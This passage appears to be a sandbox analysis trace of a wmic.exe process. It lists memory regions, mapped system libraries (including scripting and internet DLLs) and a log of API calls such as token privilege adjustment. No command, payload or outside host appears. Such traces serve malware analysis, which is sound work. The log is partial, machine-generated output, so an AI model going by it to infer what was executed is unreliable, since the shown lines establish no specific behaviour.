= 1897 start_va = 0x800000 end_va = 0x1bfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 1898 start_va = 0xc0000 end_va = 0xcffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmic.exe.mui" filename = "\\Windows\\System32\\wbem\\en-US\\WMIC.exe.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\wmic.exe.mui") Region: id = 1899 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1900 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1901 start_va = 0x310000 end_va = 0x38cfff monitored = 0 entry_point = 0x31cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1902 start_va = 0x310000 end_va = 0x38cfff monitored = 0 entry_point = 0x31cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1903 start_va = 0x7fefd6c0000 end_va = 0x7fefd6cefff monitored = 0 entry_point = 0x7fefd6c1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1904 start_va = 0x350000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 1905 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1906 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1907 start_va = 0x7fefde50000 end_va = 0x7fefdee8fff monitored = 0 entry_point = 0x7fefde51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1908 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 1909 start_va = 0x7fef9bd0000 end_va = 0x7fef9bddfff monitored = 0 entry_point = 0x7fef9bd5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1910 start_va = 0x7fef9e70000 end_va = 0x7fef9ee6fff monitored = 0 entry_point = 0x7fef9eae7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 1911 start_va = 0x7fefd230000 end_va = 0x7fefd251fff monitored = 0 entry_point = 0x7fefd235d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1912 start_va = 0x1c00000 end_va = 0x1ecefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1913 start_va = 0x7fef4440000 end_va = 0x7fef4613fff monitored = 0 entry_point = 0x7fef4476b00 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 1914 start_va = 0x1ed0000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 1915 start_va = 0x1ed0000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 1916 start_va = 0x20a0000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 1917 start_va = 0x2120000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 1918 start_va = 0x2270000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1919 start_va = 0x2420000 end_va = 0x255ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 1920 start_va = 0x2270000 end_va = 0x238ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1921 start_va = 0x23a0000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 1922 start_va = 0x2560000 end_va = 0x278ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 1923 start_va = 0x1ed0000 end_va = 0x1f8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1924 start_va = 0x1fd0000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 1925 start_va = 0x2790000 end_va = 0x2b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002790000" filename = "" Region: id = 1926 start_va = 0x110000 end_va = 0x110fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 1927 start_va = 0x120000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 1928 start_va = 0x7fefdba0000 end_va = 0x7fefdd17fff monitored = 0 entry_point = 0x7fefdba10e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 1929 start_va = 0x7fefdd20000 end_va = 0x7fefde49fff monitored = 0 entry_point = 0x7fefdd210d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 1930 start_va = 0x7feff170000 end_va = 0x7feff3c8fff monitored = 0 entry_point = 0x7feff171340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1931 start_va = 0x7fefda30000 end_va = 0x7fefdb9cfff monitored = 0 entry_point = 0x7fefda310b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1932 start_va = 0x7fefd870000 end_va = 0x7fefd87efff monitored = 0 entry_point = 0x7fefd871020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1933 start_va = 0x140000 end_va = 0x141fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 1934 start_va = 0x7fefc300000 end_va = 0x7fefc4f3fff monitored = 0 entry_point = 0x7fefc48c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1935 start_va = 0x160000 end_va = 0x160fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 1936 start_va = 0x170000 end_va = 0x171fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 1937 start_va = 0x7fefe1f0000 end_va = 0x7fefef77fff monitored = 0 entry_point = 0x7fefe26cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1938 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 1939 start_va = 0x7fefd7d0000 end_va = 0x7fefd7defff monitored = 0 entry_point = 0x7fefd7d19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1940 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 1941 start_va = 0x310000 end_va = 0x317fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 1942 start_va = 0x320000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 1943 start_va = 0x7fefcee0000 end_va = 0x7fefcf3afff monitored = 0 entry_point = 0x7fefcee6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1944 start_va = 0x2560000 end_va = 0x266ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 1945 start_va = 0x2710000 end_va = 0x278ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 1946 start_va = 0x7fefc120000 end_va = 0x7fefc175fff monitored = 0 entry_point = 0x7fefc12bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1947 start_va = 0x2b90000 end_va = 0x2d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b90000" filename = "" Region: id = 1948 start_va = 0x2b90000 end_va = 0x2c6efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 1949 start_va = 0x2cd0000 end_va = 0x2d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002cd0000" filename = "" Region: id = 1950 start_va = 0x2160000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 1951 start_va = 0x21f0000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 1952 start_va = 0x7fefd0c0000 end_va = 0x7fefd0d7fff monitored = 0 entry_point = 0x7fefd0c3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1953 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1954 start_va = 0x2050000 end_va = 0x2094fff monitored = 0 entry_point = 0x2051064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1955 start_va = 0x2050000 end_va = 0x2094fff monitored = 0 entry_point = 0x2051064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1956 start_va = 0x2050000 end_va = 0x2094fff monitored = 0 entry_point = 0x2051064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1957 start_va = 0x2050000 end_va = 0x2094fff monitored = 0 entry_point = 0x2051064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1958 start_va = 0x2050000 end_va = 0x2094fff monitored = 0 entry_point = 0x2051064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1959 start_va = 0x7fefcdc0000 end_va = 0x7fefce06fff monitored = 0 entry_point = 0x7fefcdc1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1960 start_va = 0x7fefd7b0000 end_va = 0x7fefd7c3fff monitored = 0 entry_point = 0x7fefd7b10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1961 start_va = 0x2430000 end_va = 0x24affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 1962 start_va = 0x24e0000 end_va = 0x255ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 1963 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1964 start_va = 0x2270000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1965 start_va = 0x2310000 end_va = 0x238ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002310000" filename = "" Region: id = 1966 start_va = 0x2e70000 end_va = 0x2eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e70000" filename = "" Region: id = 1967 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1968 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1969 start_va = 0x7fef6cd0000 end_va = 0x7fef6ce2fff monitored = 0 entry_point = 0x7fef6cd7b68 region_type = mapped_file name = "msoxmlmf.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\msoxmlmf.dll") Region: id = 1970 start_va = 0x7fef8c20000 end_va = 0x7fef8c38fff monitored = 0 entry_point = 0x7fef8c2ee50 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 1971 start_va = 0x7fef8c10000 end_va = 0x7fef8c13fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 1972 start_va = 0x7fef8b10000 end_va = 0x7fef8c01fff monitored = 0 entry_point = 0x7fef8b19060 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1973 start_va = 0x7fef8b00000 end_va = 0x7fef8b02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 1974 start_va = 0x7fef8af0000 end_va = 0x7fef8af2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 1975 start_va = 0x7fef8ae0000 end_va = 0x7fef8ae2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 1976 start_va = 0x7fef9260000 end_va = 0x7fef9262fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1977 start_va = 0x7fef8ad0000 end_va = 0x7fef8ad2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 1978 start_va = 0x7fef8ac0000 end_va = 0x7fef8ac2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 1979 start_va = 0x7fef8ab0000 end_va = 0x7fef8ab2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 1980 start_va = 0x7fef8aa0000 end_va = 0x7fef8aa3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 1981 start_va = 0x7fef8a90000 end_va = 0x7fef8a93fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 1982 start_va = 0x7fef8a80000 end_va = 0x7fef8a83fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 1983 start_va = 0x330000 end_va = 0x330fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 1984 start_va = 0x340000 end_va = 0x340fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 1985 start_va = 0x7fef98f0000 end_va = 0x7fef9902fff monitored = 0 entry_point = 0x7fef98f1d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1986 start_va = 0x7fef9c10000 end_va = 0x7fef9ce2fff monitored = 0 entry_point = 0x7fef9c88b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1987 start_va = 0x7fef9be0000 end_va = 0x7fef9c06fff monitored = 0 entry_point = 0x7fef9be11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1988 start_va = 0x3d0000 end_va = 0x3dafff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 1989 start_va = 0x7fef7290000 end_va = 0x7fef72a6fff monitored = 0 entry_point = 0x7fef729eba0 region_type = mapped_file name = "wmi2xml.dll" filename = "\\Windows\\System32\\wbem\\xml\\wmi2xml.dll" (normalized: "c:\\windows\\system32\\wbem\\xml\\wmi2xml.dll") Region: id = 1990 start_va = 0x2d50000 end_va = 0x2e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d50000" filename = "" Region: id = 1991 start_va = 0x7fef4620000 end_va = 0x7fef46b9fff monitored = 1 entry_point = 0x7fef462e1b8 region_type = mapped_file name = "vbscript.dll" filename = "\\Windows\\System32\\vbscript.dll" (normalized: "c:\\windows\\system32\\vbscript.dll") Region: id = 1992 start_va = 0x1f90000 end_va = 0x1faafff monitored = 0 entry_point = 0x1fc6b00 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 1993 start_va = 0x7fefd6d0000 end_va = 0x7fefd760fff monitored = 0 entry_point = 0x7fefd6d1440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1994 start_va = 0x3d0000 end_va = 0x3d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 1995 start_va = 0x2ef0000 end_va = 0x34fcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Thread: id = 77 os_tid = 0xfdc [0150.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20f770 | out: lpSystemTimeAsFileTime=0x20f770*(dwLowDateTime=0xd974c560, dwHighDateTime=0x1da5ebf)) [0150.112] GetCurrentProcessId () returned 0xfd8 [0150.112] GetCurrentThreadId () returned 0xfdc [0150.112] GetTickCount () returned 0xa69955 [0150.112] QueryPerformanceCounter (in: lpPerformanceCount=0x20f778 | out: lpPerformanceCount=0x20f778*=1107074751737) returned 1 [0150.113] GetModuleHandleW (lpModuleName=0x0) returned 0xff1e0000 [0150.113] __set_app_type (_Type=0x1) [0150.113] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff22ced0) returned 0x0 [0150.114] __wgetmainargs (in: _Argc=0xff252380, _Argv=0xff252390, _Env=0xff252388, _DoWildCard=0, _StartInfo=0xff25239c | out: _Argc=0xff252380, _Argv=0xff252390, _Env=0xff252388) returned 0 [0150.115] ??0CHString@@QEAA@XZ () returned 0xff252ab0 [0150.115] malloc (_Size=0x30) returned 0x21df90 [0150.115] malloc (_Size=0x70) returned 0x157b20 [0150.116] malloc (_Size=0x50) returned 0x155ae0 [0150.116] malloc (_Size=0x30) returned 0x157ba0 [0150.116] malloc (_Size=0x48) returned 0x157be0 [0150.116] malloc (_Size=0x30) returned 0x157c30 [0150.116] malloc (_Size=0x30) returned 0x157c70 [0150.116] ??0CHString@@QEAA@XZ () returned 0xff252f58 [0150.116] malloc (_Size=0x30) returned 0x157cb0 [0150.116] ?Empty@CHString@@QEAAXXZ () returned 0x7fef4dfc96c [0150.116] SetConsoleCtrlHandler (HandlerRoutine=0xff225724, Add=1) returned 1 [0150.117] _onexit (_Func=0xff23f378) returned 0xff23f378 [0150.117] _onexit (_Func=0xff23f490) returned 0xff23f490 [0150.117] _onexit (_Func=0xff23f4d0) returned 0xff23f4d0 [0150.118] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0150.118] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0150.131] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0150.164] CoCreateInstance (in: rclsid=0xff1e73a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff1e7370*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xff252940 | out: ppv=0xff252940*=0x40cb90) returned 0x0 [0150.196] GetCurrentProcess () returned 0xffffffffffffffff [0150.196] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x20f540 | out: TokenHandle=0x20f540*=0x104) returned 1 [0150.196] GetTokenInformation (in: TokenHandle=0x104, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x20f538 | out: TokenInformation=0x0, ReturnLength=0x20f538) returned 0 [0150.197] malloc (_Size=0x118) returned 0x156480 [0150.197] GetTokenInformation (in: TokenHandle=0x104, TokenInformationClass=0x3, TokenInformation=0x156480, TokenInformationLength=0x118, ReturnLength=0x20f538 | out: TokenInformation=0x156480, ReturnLength=0x20f538) returned 1 [0150.197] AdjustTokenPrivileges (in: TokenHandle=0x104, DisableAllPrivileges=0, NewState=0x156480*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=-1215246427, Attributes=0x79f9), (Luid.LowPart=0x0, Luid.HighPart=1408784, Attributes=0x0), (Luid.LowPart=0x65, Luid.HighPart=5242950, Attributes=0x4e005f), (Luid.LowPart=0x4f0048, Luid.HighPart=5505107, Attributes=0x43005f), (Luid.LowPart=0x4b0043, Luid.HighPart=5111869, Attributes=0x4f), (Luid.LowPart=0x45004d, Luid.HighPart=5374020, Attributes=0x560049))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0150.198] free (_Block=0x156480) [0150.198] CloseHandle (hObject=0x104) returned 1 [0150.198] malloc (_Size=0x40) returned 0x157f10 [0150.199] malloc (_Size=0x40) returned 0x157f60 [0150.199] malloc (_Size=0x40) returned 0x156480 [0150.199] malloc (_Size=0x20a) returned 0x1564d0 [0150.199] GetSystemDirectoryW (in: lpBuffer=0x1564d0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0150.200] free (_Block=0x1564d0) [0150.200] malloc (_Size=0x18) returned 0x157fb0 [0150.200] malloc (_Size=0x18) returned 0x1564d0 [0150.200] malloc (_Size=0x18) returned 0x1564f0 [0150.200] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0150.200] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0150.200] memcpy (in: _Dst=0x414218, _Src=0x4113c8, _Size=0x28 | out: _Dst=0x414218) returned 0x414218 [0150.200] memcpy (in: _Dst=0x41423e, _Src=0x411408, _Size=0x1c | out: _Dst=0x41423e) returned 0x41423e [0150.201] free (_Block=0x157fb0) [0150.201] free (_Block=0x1564d0) [0150.201] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x77660000 [0150.201] GetProcAddress (hModule=0x77660000, lpProcName="SetThreadUILanguage") returned 0x776761e0 [0150.201] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0150.202] FreeLibrary (hLibModule=0x77660000) returned 1 [0150.202] free (_Block=0x1564f0) [0150.202] _vsnwprintf (in: _Buffer=0x156480, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x20f168 | out: _Buffer="ms_409") returned 6 [0150.202] malloc 